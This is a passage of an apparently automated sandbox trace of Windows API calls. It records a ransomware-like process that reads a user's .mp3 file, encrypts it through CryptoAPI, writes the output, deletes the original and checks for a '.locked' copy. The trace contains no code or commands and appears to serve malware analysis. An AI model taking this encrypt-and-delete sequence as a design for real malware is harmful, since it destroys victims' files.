(hKey=0x8e85138, dwParam=0x4, pbData=0x6a6e000*=0x1, dwFlags=0x0) returned 1 [0134.259] CryptSetKeyParam (hKey=0x8e85138, dwParam=0x1, pbData=0x6a6dfcc, dwFlags=0x0) returned 1 [0134.259] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf990\x437\x242") returned 0x0 [0134.259] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.259] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.259] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.259] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.259] ReadFile (in: hFile=0x858, lpBuffer=0x6a7155c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a7155c*, lpNumberOfBytesRead=0x99ae7a8*=0xab3, lpOverlapped=0x0) returned 1 [0134.260] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a85568*, pdwDataLen=0x99ae79c*=0xab0, dwBufLen=0xab0 | out: pbData=0x6a85568*, pdwDataLen=0x99ae79c*=0xab0) returned 1 [0134.260] ReadFile (in: hFile=0x858, lpBuffer=0x6a7155c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a7155c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.261] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a8603c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a8603c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.261] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a86070*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a86070*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.261] WriteFile (in: hFile=0x874, lpBuffer=0x6a6ce04*, nNumberOfBytesToWrite=0xad4, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a6ce04*, lpNumberOfBytesWritten=0x99ae7c8*=0xad4, lpOverlapped=0x0) returned 1 [0134.262] CloseHandle (hObject=0x874) returned 1 [0134.262] CloseHandle (hObject=0x858) returned 1 [0134.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.263] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.263] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.263] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.263] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.264] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3")) returned 0x20 [0134.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.264] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.264] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.264] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.264] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.264] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.264] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.265] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.265] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0134.266] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0134.266] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0134.266] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0134.266] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3")) returned 0x20 [0134.266] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.266] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.266] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.266] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.266] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3\\", lpFilePart=0x0) returned 0x3e [0134.267] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.267] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.267] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.267] CoTaskMemFree (pv=0x8eb8930) [0134.268] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3")) returned 0x20 [0134.268] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.268] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.268] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6a9af70 | out: lpFileInformation=0x6a9af70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe08e480, ftCreationTime.dwHighDateTime=0x1d4a608, ftLastAccessTime.dwLowDateTime=0x86f49a80, ftLastAccessTime.dwHighDateTime=0x1d4a377, ftLastWriteTime.dwLowDateTime=0x86f49a80, ftLastWriteTime.dwHighDateTime=0x1d4a377, nFileSizeHigh=0x0, nFileSizeLow=0xab3)) returned 1 [0134.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.269] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3")) returned 1 [0134.270] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.270] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.271] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.271] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.271] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.273] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3.locked")) returned 0x20 [0134.273] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3.locked")) returned 0x20 [0134.273] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked", lpFilePart=0x0) returned 0x44 [0134.273] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked", lpFilePart=0x0) returned 0x44 [0134.273] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.273] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3", lpFilePart=0x0) returned 0x3d [0134.273] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.274] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.274] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.274] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.276] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.276] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.276] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.278] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.278] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.278] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.278] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.278] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.280] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.280] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.280] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.280] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.280] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 